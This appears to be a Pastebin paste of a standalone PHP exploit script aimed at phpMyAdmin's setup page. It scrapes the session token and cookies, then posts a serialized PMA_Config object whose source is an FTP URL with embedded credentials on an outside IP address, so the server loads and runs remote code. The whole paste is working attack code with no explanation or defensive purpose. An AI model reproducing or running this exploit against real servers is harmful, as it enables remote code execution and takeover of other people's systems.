Guest User

Untitled

a guest
Dec 6th, 2017
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. // by M
  3. error_reporting(1);
  4. ini_set("max_execution_time",0);
  5. ini_set("default_socket_timeout",5);
  6. $pma_setup_url = $argv[1];
  7. $ftp_code = 'ftp://robert:robert@213.131.252.244/link.txt';
  8. $ftp_code.= "$argv[2]";
  9. function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = '') {
  10. $return = '';
  11. $feof_count = 0;
  12. $parsed_url = parse_url($url);
  13. $site = $parsed_url['host'];
  14. $path = $parsed_url['path'];
  15. $query = $parsed_url['query'];
  16. ($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';
  17. ($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';
  18. $fp = fsockopen($site, 80, $errno, $errstr, 30);
  19. ($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";
  20. $out .= "Host: $site\r\n";
  21. $out .= "Content-type: application/x-www-form-urlencoded\r\n";
  22. $out .= "Connection: Close\r\n";
  23. $out .= "User-Agent: $ua_string\r\n";
  24. $out .= "Referer: $referer_string\r\n";
  25. $out .= "Cookie: $cookie_string\r\n";
  26. ($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";
  27. ($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);
  28. while (!feof($fp)) {
  29. if($feof_count >=200)
  30. break;
  31. $return .= fread($fp, 4800);
  32. ++$feof_count;
  33. }
  34. fclose($fp);
  35. return $return;
  36. }
  37. $token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera');
  38. preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);
  39. $token = $token_array[1];
  40. preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);
  41. $cookie_array = $cookie_array[1];
  42. $cookie_array = implode("; ",$cookie_array);
  43. $html =
  44.  
  45. send_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:
  46.  
  47. '.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');
  48. $temp=explode("my_delim",$html);die($temp[1]);
  49. ?>
Add Comment
Please, Sign In to add comment